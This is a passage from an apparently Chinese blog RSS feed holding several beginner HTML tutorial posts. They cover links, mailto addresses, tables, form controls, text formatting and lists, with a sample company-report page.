&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C6&quot;&gt;&lt;h2&gt;第6章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C7&quot;&gt;&lt;h2&gt;第7章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C8&quot;&gt;&lt;h2&gt;第8章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C9&quot;&gt;&lt;h2&gt;第9章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C10&quot;&gt;&lt;h2&gt;第10章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C11&quot;&gt;&lt;h2&gt;第11章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C12&quot;&gt;&lt;h2&gt;第12章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C13&quot;&gt;&lt;h2&gt;第13章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C14&quot;&gt;&lt;h2&gt;第14章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C15&quot;&gt;&lt;h2&gt;第15章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C16&quot;&gt;&lt;h2&gt;第16章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C17&quot;&gt;&lt;h2&gt;第17章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;
在新窗口打开一个链接
&lt;html&gt;
&lt;body&gt;

&lt;a href=&quot;../asdocs/html_tutorials/humor01.html&quot; target=&quot;_blank&quot;&gt;一则笑话&lt;/a&gt;

&lt;p&gt;
如果你将target的属性值设成_blank，你点击这个链接的时候，网页就会在一个新窗口出现。
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;链接到一个邮箱地址
&lt;html&gt;

&lt;body&gt;

&lt;p&gt;
这是一个最简单的邮箱地址的链接：
&lt;a href=&quot;mailto:info@sina.com&quot;&gt;给新浪网站发信&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
这个邮箱地址的链接写了subject内容：
&lt;a href=&quot;mailto:info@sina.com?subject=Hello&quot;&gt;给新浪网站发信&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
这个邮箱地址链接写了to, cc, bcc, subject, body的内容：
&lt;a href=&quot;mailto:info@sina.com?cc=webmaster@vip.sina.com&amp;bcc=media@sina.com&amp;subject=I%20like%20your%20site&amp;body=真是个好站点！&quot;&gt;写信给新浪&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;注:&lt;/b&gt;空格请用%20表示。
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;

HTML表格(Table)示例
HTML简单表格
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;
表格所用到的Tag：整个表格开始要用table；每一行开始要用tr；每一单元格开始要用td。
&lt;/p&gt;

&lt;h4&gt;只有一行(Row)一列(Column)的表格&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;一行三列的表格&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;两行三列的表格&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;600&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;
没有边界的表格
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;缺省情况下，表格没有边界。&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;600&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;表格Border设为0，也不显示边界：&lt;/h4&gt;
&lt;table border=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;600&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;

有边界的表格
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;表格的边界值设为1：&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;表格的边界值设为8，边界更粗：&lt;/h4&gt;
&lt;table border=&quot;8&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;表格的边界值设为15，边界更粗：&lt;/h4&gt;
&lt;table border=&quot;15&quot;&gt;
&lt;tr&gt;
&lt;td&gt;第一&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;第二&lt;/td&gt;
&lt;td&gt;行&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;HTML表格的表头
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;有表头的表格：&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;th&gt;姓名&lt;/th&gt;
&lt;th&gt;电话&lt;/th&gt;
&lt;th&gt;传真&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bill Gates&lt;/td&gt;
&lt;td&gt;555 77 854&lt;/td&gt;
&lt;td&gt;555 77 855&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;h4&gt;竖直方向的表头：&lt;/h4&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;th&gt;姓名&lt;/th&gt;
&lt;td&gt;Bill Gates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;电话&lt;/th&gt;
&lt;td&gt;555 77 854&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;传真&lt;/th&gt;
&lt;td&gt;555 77 855&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;

表格空单元格
&lt;html&gt;
&lt;body&gt;

&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;Some text&lt;/td&gt;
&lt;td&gt;Some text&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Some text&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;p&gt;上面的表格中，有一个单元格里是没有任何内容的，这个空的单元格没有显示边界，虽然整个表格设了边界值。&lt;/p&gt;

&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;td&gt;Some text&lt;/td&gt;
&lt;td&gt;Some text&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;Some text&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;p&gt;
上面的例子，你可以看到，给这个单元格加上一个空格符号之后，单元格的边界就显示出来了。&lt;/p&gt;
&lt;p&gt;注意：空格符要用&amp;bsp;表示。&amp;nbsp;是一个HTML特别字符，参见HTML特别字符(HTML Character Entities)。
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;
带标题的表格
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;
这个表格有标题：
&lt;/h4&gt;

&lt;table border=&quot;6&quot;&gt;
&lt;caption&gt;表格标题&lt;/caption&gt;
&lt;tr&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;300&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;600&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;

包含多行或多列的表格单元格
&lt;html&gt;
&lt;body&gt;

[EndContent]
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】html表单实例【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373457]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 08:36:10 +0800]]></pubDate>
        <description><![CDATA[[Title]Html表单例子[EndTitle]
[Content]


复选框 
&lt;html&gt;

&lt;body&gt;

&lt;form&gt;
我喜欢自行车：
&lt;input type=&quot;checkbox&quot; name=&quot;Bike&quot;&gt;
&lt;br&gt;
我喜欢汽车：
&lt;input type=&quot;checkbox&quot; name=&quot;Car&quot;&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;

单选按钮 
&lt;html&gt;

&lt;body&gt;

&lt;form&gt;
男性：
&lt;input type=&quot;radio&quot; checked=&quot;checked&quot; name=&quot;Sex&quot; value=&quot;male&quot; /&gt;
&lt;br /&gt;
女性：
&lt;input type=&quot;radio&quot; name=&quot;Sex&quot; value=&quot;female&quot; /&gt;
&lt;/form&gt;

&lt;p&gt;当用户点击一个单选按钮时，该按钮会变为选中状态，其他所有按钮会变为非选中状态。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;

简单的下拉列表 
&lt;html&gt;

&lt;body&gt;

&lt;form&gt;
&lt;select name=&quot;cars&quot;&gt;
&lt;option value=&quot;volvo&quot;&gt;Volvo&lt;/option&gt;
&lt;option value=&quot;saab&quot;&gt;Saab&lt;/option&gt;
&lt;option value=&quot;fiat&quot;&gt;Fiat&lt;/option&gt;
&lt;option value=&quot;audi&quot;&gt;Audi&lt;/option&gt;
&lt;/select&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;
另一个下拉列表 
&lt;html&gt;

&lt;body&gt;

&lt;form&gt;
&lt;select name=&quot;cars&quot;&gt;
&lt;option value=&quot;volvo&quot;&gt;Volvo&lt;/option&gt;
&lt;option value=&quot;saab&quot;&gt;Saab&lt;/option&gt;
&lt;option value=&quot;fiat&quot; selected=&quot;selected&quot;&gt;Fiat&lt;/option&gt;
&lt;option value=&quot;audi&quot;&gt;Audi&lt;/option&gt;
&lt;/select&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;
文本域(Textarea) 
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;
This example cannot be edited
because our editor uses a textarea
for input,
and your browser does not allow
a textarea inside a textarea.
&lt;/p&gt;

&lt;textarea rows=&quot;10&quot; cols=&quot;30&quot;&gt;
The cat was playing in the garden.
创建按钮 
&lt;html&gt;

&lt;body&gt;

&lt;form&gt;
&lt;input type=&quot;button&quot; value=&quot;Hello world!&quot;&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;

Fieldset around data 
&lt;html&gt;

&lt;body&gt;

&lt;fieldset&gt;
&lt;legend&gt;健康信息：&lt;/legend&gt;
&lt;form&gt;
&lt;label&gt;身高：&lt;input type=&quot;text&quot; /&gt;&lt;/label&gt;
&lt;label&gt;体重：&lt;input type=&quot;text&quot; /&gt;&lt;/label&gt;
&lt;/form&gt;
&lt;/fieldset&gt;

&lt;p&gt;如果表单周围没有边框，说明您的浏览器太老了。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;

表单实例

带有输入框和确认按钮的表单 
&lt;html&gt;
&lt;body&gt;

&lt;form action=&quot;/example/html/form_action.asp&quot; method=&quot;get&quot;&gt;
  &lt;p&gt;First name: &lt;input type=&quot;text&quot; name=&quot;fname&quot; /&gt;&lt;/p&gt;
  &lt;p&gt;Last name: &lt;input type=&quot;text&quot; name=&quot;lname&quot; /&gt;&lt;/p&gt;
  &lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&gt;
&lt;/form&gt;

&lt;p&gt;请单击确认按钮，输入会发送到服务器上名为 &quot;form_action.asp&quot; 的页面。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;

带有复选框的表单 
&lt;html&gt;

&lt;body&gt;

&lt;form name=&quot;input&quot; action=&quot;/html/html_form_action.asp&quot; method=&quot;get&quot;&gt;
I have a bike:
&lt;input type=&quot;checkbox&quot; name=&quot;vehicle&quot; value=&quot;Bike&quot; checked=&quot;checked&quot; /&gt;
&lt;br /&gt;
I have a car: 
&lt;input type=&quot;checkbox&quot; name=&quot;vehicle&quot; value=&quot;Car&quot; /&gt;
&lt;br /&gt;
I have an airplane: 
&lt;input type=&quot;checkbox&quot; name=&quot;vehicle&quot; value=&quot;Airplane&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&gt;
&lt;/form&gt; 

&lt;p&gt;如果您点击 &quot;Submit&quot; 按钮，您将把输入传送到名为 html_form_action.asp 的新页面。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;

带有单选按钮的表单 
&lt;html&gt;

&lt;body&gt;

&lt;form name=&quot;input&quot; action=&quot;/html/html_form_action.asp&quot; method=&quot;get&quot;&gt;
Male: 
&lt;input type=&quot;radio&quot; name=&quot;Sex&quot; value=&quot;Male&quot; checked=&quot;checked&quot;&gt;
&lt;br&gt;
Female: 
&lt;input type=&quot;radio&quot; name=&quot;Sex&quot; value=&quot;Female&quot;&gt;
&lt;br&gt;
&lt;input type =&quot;submit&quot; value =&quot;Submit&quot;&gt;
&lt;/form&gt; 

&lt;p&gt;如果您点击 &quot;Submit&quot; 按钮，您将把输入传送到名为 html_form_action.asp 的新页面。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;

从表单发送电子邮件 
&lt;html&gt;

&lt;body&gt;
&lt;form action=&quot;MAILTO:someone@w3school.com.cn&quot; method=&quot;post&quot; enctype=&quot;text/plain&quot;&gt;

&lt;h3&gt;这个表单会把电子邮件发送到 W3School。&lt;/h3&gt;
姓名：&lt;br&gt;
&lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;yourname&quot; size=&quot;20&quot;&gt;
&lt;br&gt;
电邮：&lt;br&gt;
&lt;input type=&quot;text&quot; name=&quot;mail&quot; value=&quot;yourmail&quot; size=&quot;20&quot;&gt;
&lt;br&gt;
内容：&lt;br&gt;
&lt;input type=&quot;text&quot; name=&quot;comment&quot; value=&quot;yourcomment&quot; size=&quot;40&quot;&gt;
&lt;br&gt;&lt;br&gt;
&lt;input type=&quot;submit&quot; value=&quot;发送&quot;&gt;
&lt;input type=&quot;reset&quot; value=&quot;重置&quot;&gt;

&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
以下是刚刚的代码预览


 [Title]Html表单例子[EndTitle]
[Content]


复选框 





我喜欢自行车：


我喜欢汽车：






单选按钮 





男性：


女性：



当用户点击一个单选按钮时，该按钮会变为选中状态，其他所有按钮会变为非选中状态。




简单的下拉列表 






Volvo
Saab
Fiat
Audi





另一个下拉列表 






Volvo
Saab
Fiat
Audi





文本域(Textarea) 




This example cannot be edited
because our editor uses a textarea
for input,
and your browser does not allow
a textarea inside a textarea.



The cat was playing in the garden.
创建按钮 











Fieldset around data 





健康信息：

身高：
体重：



如果表单周围没有边框，说明您的浏览器太老了。




表单实例

带有输入框和确认按钮的表单 




  First name: 
  Last name: 
  


请单击确认按钮，输入会发送到服务器上名为 "form_action.asp" 的页面。




带有复选框的表单 





I have a bike:


I have a car: 


I have an airplane: 



 

如果您点击 "Submit" 按钮，您将把输入传送到名为 html_form_action.asp 的新页面。




带有单选按钮的表单 





Male: 


Female: 



 

如果您点击 "Submit" 按钮，您将把输入传送到名为 html_form_action.asp 的新页面。




从表单发送电子邮件 





这个表单会把电子邮件发送到 W3School。
姓名：


电邮：


内容：











[EndContent]
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】html实例【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373456]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 08:33:16 +0800]]></pubDate>
        <description><![CDATA[[Title]Html简单实例[EndTitle]
[Content]
@1
&lt;!--****************************--&gt;
&lt;!--       文本格式实例         --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;不同等级的标题实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   &lt;h1&gt;一级标题&lt;/h1&gt;  
   &lt;h2&gt;二级标题&lt;/h2&gt; 
   &lt;h3&gt;三级标题&lt;/h3&gt; 
   &lt;h4&gt;四级标题&lt;/h4&gt; 
   &lt;h5&gt;五级标题&lt;/h5&gt; 
   &lt;h6&gt;六级标题&lt;/h6&gt; 
   &lt;/body&gt;
&lt;/html&gt;

@2
&lt;!--****************************--&gt;
&lt;!--  标题标记的对齐属性实例    --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;标题标记的对齐属性实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   &lt;h1 align=left&gt;标题的左对齐&lt;/h1&gt;  
   &lt;h1 align=center&gt;标题的居中对齐&lt;/h1&gt;  
   &lt;h1 align=right&gt;标题的右对齐&lt;/h1&gt;  
   &lt;/body&gt;
&lt;/html&gt;

@3
&lt;!--****************************--&gt;
&lt;!--       字体设置实例         --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;字体设置实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   &lt;font face=&quot;宋体&quot; size=7&gt;宋体&lt;/font&gt;
   &lt;font face=&quot;黑体&quot; size=7&gt;黑体&lt;/font&gt;
   &lt;font face=&quot;隶书&quot; size=7&gt;隶书&lt;/font&gt; 
   &lt;font face=&quot;幼圆&quot; size=7&gt;幼圆&lt;/font&gt;
   &lt;/body&gt;
&lt;/html&gt;

@4
&lt;!--****************************--&gt;
&lt;!--       字号设置实例         --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;字号设置实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   &lt;font size=7&gt;字号设置实例&lt;/font&gt;&lt;br&gt;
   &lt;font size=6&gt;字号设置实例&lt;/font&gt;&lt;br&gt;
   &lt;font size=5&gt;字号设置实例&lt;/font&gt;&lt;br&gt;
   &lt;font size=4&gt;字号设置实例&lt;/font&gt;&lt;br&gt;
   &lt;font size=3&gt;字号设置实例&lt;/font&gt;&lt;br&gt;
   &lt;font size=2&gt;字号设置实例&lt;/font&gt;&lt;br&gt;
   &lt;font size=1&gt;字号设置实例&lt;/font&gt;&lt;br&gt;
   &lt;/body&gt;
&lt;/html&gt;

@5
&lt;!--****************************--&gt;
&lt;!--    文字颜色设置实例        --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;文字颜色设置实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   &lt;font color=&quot;#000000&quot;&gt;黑色&lt;/font&gt;
   &lt;font color=gray&gt;灰色&lt;/font&gt;
   &lt;font color=&quot;#00ffff&quot;&gt;浅绿色&lt;/font&gt;
   &lt;font color=silver&gt;银白色&lt;/font&gt;
   &lt;font color=yellow&gt;黄色&lt;/font&gt;
   &lt;/body&gt;
&lt;/html&gt;

@6
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;文字修饰实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   &lt;b&gt;粗体&lt;/b&gt;
   &lt;strong&gt;粗体&lt;/strong&gt;
   &lt;i&gt;斜体&lt;/i&gt;
   &lt;em&gt;斜体&lt;/em&gt;
   &lt;cite&gt;斜体&lt;/cite&gt;
   &lt;big&gt;加大一级字号&lt;/big&gt;
   &lt;small&gt;减小一级字号&lt;/small&gt;
   &lt;b&gt;X&lt;/b&gt;&lt;sup&gt;2&lt;/sup&gt;
   &lt;b&gt;Y&lt;/b&gt;&lt;sub&gt;1&lt;/sub&gt;
   &lt;/body&gt;
&lt;/html&gt;


@7   ? ? ± × ￠ ￥ � ￡ 
&lt;!--****************************--&gt;
&lt;!--      特殊符号实例          --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;特殊符号实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   &amp;reg;&amp;nbsp;&amp;copy;&amp;nbsp;&amp;plusmn;&amp;nbsp;&amp;times;&amp;nbsp;&amp;cent;&amp;nbsp;&amp;yen;&amp;nbsp;&amp;euro;&amp;nbsp;&amp;pound;
   &lt;/body&gt;
&lt;/html&gt;
@8
&lt;!--****************************--&gt;
&lt;!--    段落对齐方式实例        --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;段落对齐方式实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
  &lt;p align=left&gt;段落标记左对齐方式&lt;/p&gt;
  &lt;p align=center&gt;段落标记居中对齐方式&lt;/p&gt;
  &lt;p align=right&gt;段落标记右对齐方式&lt;/p&gt;
 &lt;/body&gt;
&lt;/html&gt;
@9
&lt;!--****************************--&gt;
&lt;!--     水平分隔线实例         --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;水平分隔线实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
  &lt;hr size=9&gt;
  &lt;h1&gt;水平分隔线实例&lt;h1&gt;
  &lt;hr size=9 noshade&gt;
  &lt;h1&gt;水平分隔线实例&lt;h1&gt;
  &lt;hr width=140 align=right&gt;
  &lt;h1&gt;水平分隔线实例&lt;h1&gt;
  &lt;hr width=140&gt;
  &lt;h1&gt;水平分隔线实例&lt;h1&gt;
  &lt;hr width=140 align=left&gt;
 &lt;/body&gt;
&lt;/html&gt;
@10
&lt;!--****************************--&gt;
&lt;!--     预编排标记实例         --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;预编排标记实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
        10
    +    9
  ----------
        19
  &lt;pre&gt;
        10
    +    9
  ----------
        19
  &lt;/pre&gt;
  &lt;pre&gt;
  main()
  { int a,b,c;
    printf(&quot;请输入三个数a，b，c：&quot;);
    scanf(&quot;%d,%d,%d&quot;,&amp;a,&amp;b,&amp;c);
    printf(&quot;a的值是%d，b的值是%d，c的值是%d&quot;,a,b,c);  
  }
  &lt;/pre&gt;
 &lt;/body&gt;
&lt;/html&gt;
@11
&lt;!--****************************--&gt;
&lt;!--      无序列表实例          --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;无序列表实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   今天的功课有：
   &lt;ul&gt;
   &lt;li&gt;数学&lt;/li&gt;
   &lt;li&gt;语文&lt;/li&gt;
   &lt;li&gt;政治&lt;/li&gt;
   &lt;/ul&gt;  
   明天的功课有：
   &lt;ul type=circle&gt;
   &lt;li&gt;数学&lt;/li&gt;
   &lt;li&gt;英语&lt;/li&gt;
   &lt;li&gt;政治&lt;/li&gt;
   &lt;/ul&gt;  
   后天的功课有：
   &lt;ul type=square&gt;
   &lt;li&gt;数学&lt;/li&gt;
   &lt;li&gt;英语&lt;/li&gt;
   &lt;li&gt;语文&lt;/li&gt;
   &lt;/ul&gt;  
 &lt;/body&gt;
&lt;/html&gt;



@12
&lt;!--****************************--&gt;
&lt;!--      有序列表实例          --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;有序列表实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   今天的功课有：
   &lt;ol&gt;
   &lt;li&gt;数学&lt;/li&gt;
   &lt;li&gt;语文&lt;/li&gt;
   &lt;li&gt;政治&lt;/li&gt;
   &lt;/ol&gt;  
   明天的功课有：
   &lt;ol type=a&gt;
   &lt;li&gt;数学&lt;/li&gt;
   &lt;li&gt;英语&lt;/li&gt;
   &lt;li&gt;政治&lt;/li&gt;
   &lt;/ol&gt;  
   后天的功课有：
   &lt;ol type=I start=5&gt;
   &lt;li&gt;数学&lt;/li&gt;
   &lt;li&gt;英语&lt;/li&gt;
   &lt;li&gt;语文&lt;/li&gt;
   &lt;/ol&gt;  
 &lt;/body&gt;
&lt;/html&gt;

@13
&lt;!--****************************--&gt;
&lt;!--      定义列表实例          --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;定义列表实例&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   今天的功课有：
   &lt;dl&gt;
   &lt;dt&gt;数学&lt;/dt&gt;
   &lt;dd&gt;今天是一次复习课，为下节课小测验作准备。&lt;/dd&gt;
   &lt;dt&gt;语文&lt;/dt&gt;
   &lt;dd&gt;今天将讲新课：《荷塘月色》。&lt;/dd&gt;
   &lt;dt&gt;政治&lt;/dt&gt;
   &lt;dd&gt;今天将讲目前中美关系和将来的发展趋势。&lt;/dd&gt;
   &lt;/dl&gt;  
 &lt;/body&gt;
&lt;/html&gt;


@14

@15
&lt;!--****************************--&gt;
&lt;!--       上机练习实例         --&gt;
&lt;!--****************************--&gt;
&lt;html&gt;
 &lt;head&gt;
   &lt;title&gt;2005年公司总结报告&lt;/title&gt;
 &lt;/head&gt;

 &lt;body&gt;
   &lt;h2 align=center&gt;2005年公司总结报告&lt;/h2&gt;  
   &lt;h3&gt;【2005年工作总结】&lt;/h3&gt; 
   &lt;p&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2005年是XXXX有限公司成立的&lt;b&gt;第二年&lt;/b&gt;。在董事会的正确领导下，经过全体员工共同的努力，我们完成了&lt;b&gt;新厂区建设、搬迁工作&lt;/b&gt;，克服了由于搬迁而带来的停产近三个月的实际困难，较好地实现了年度各项经济指标计划,&lt;b&gt;取得了可喜的经营成果和工作局面&lt;/b&gt;，为公司的长远发展奠定了坚实的基础。
   &lt;/p&gt;
   &lt;p&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2005年主要经济技术指标完成情况:
   &lt;/p&gt;
   &lt;ol&gt;
   &lt;li&gt;利润计划指标X万元，实现利润X万元，较上年增长X% ；&lt;/li&gt;
   &lt;li&gt;销售收入计划指标X万元，实现销售收入X万元，较上年增长X% &lt;/li&gt;  
   &lt;li&gt;工业总产值计划指标X万元，实现工业总产值X万元，较上年增长X% ；&lt;/li&gt; 
   &lt;li&gt;员工年人均收入X万元，较上年增长X% 。&lt;/li&gt; 
   &lt;/ol&gt;   
 




]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】html基础代码版【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373454]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 08:16:37 +0800]]></pubDate>
        <description><![CDATA[[Title]Html基础教程[EndTitle]
[Content]

注意:以下的符号都是英文符号

第一部分    入门
第一节：介绍

